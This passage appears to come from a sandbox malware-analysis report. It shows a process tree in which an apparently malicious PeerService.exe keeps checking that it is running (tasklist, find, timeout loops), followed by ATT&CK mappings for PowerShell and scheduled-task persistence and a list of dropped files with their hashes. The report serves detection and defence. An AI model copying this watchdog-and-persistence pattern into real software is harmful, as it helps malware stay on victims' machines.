    - Discovers running processes
    PID:6088
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4576
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1652
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1516
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4244
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3556
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2228
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2708
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5740
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2220
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:440
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1176
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3064
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1268
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1332
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5208
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5700
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3636
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3308
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1596
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3400
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1108
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2880
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:572
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5960
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1520
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5296
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3240
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3680
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4268
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5748
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:240
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4220
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3532
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
MD5 9e67f340014cbaf62f2fb8c7a539d21b
SHA1 f0ed976f190cbdf1b9b643c93b97d101cb87e3ae
SHA512 9c86e7c8cfd1971b16e7b82d6ab9c9539e115402d205efff6f2ef941bc0e09a479e31ecff8a3510c8c7ade3f65cdab7b4f1eda357438b854be29349aaccb93e6
TLSH
T1E7216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_scziabrp.33g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_scziabrp.33g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 6.5MB
SHA256 8b77f8ed73caf39baf25aa275ac1aeebb5c206f299e548972caadfba7201f883
MD5 1468a47a9fda1b9ce641d27e1dedb01e
SHA1 9ce1c5da376a2efa42822c5d39a001540d042d39
SHA512 78092d6eb1af425606244e7fc1456558387a06ec972946554f722daf1b75e6dc898d46a1bb7c96650970822abc522d01c008074166b7bf8f9cb231ddcbbf221c
SSDEEP 196608:4+hx9ekESByQyVG/uzGNVyAl3K8fCGnbP3JzATCq:X9ewNSG/lVrl3KExL3JzAT5
TLSH
T12A66012BB26901E8E1BFD17CC9165907EBB2780543A097CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5548-14-0x00000208C0770000-0x00000208C0792000-memory.dmp

Download

memory/5548-19-0x00000208C0940000-0x00000208C095E000-memory.dmp

Download

memory/5548-21-0x00000208C0960000-0x00000208C0A12000-memory.dmp

Download

memory/5548-23-0x00000208C08E0000-0x00000208C08EA000-memory.dmp

Download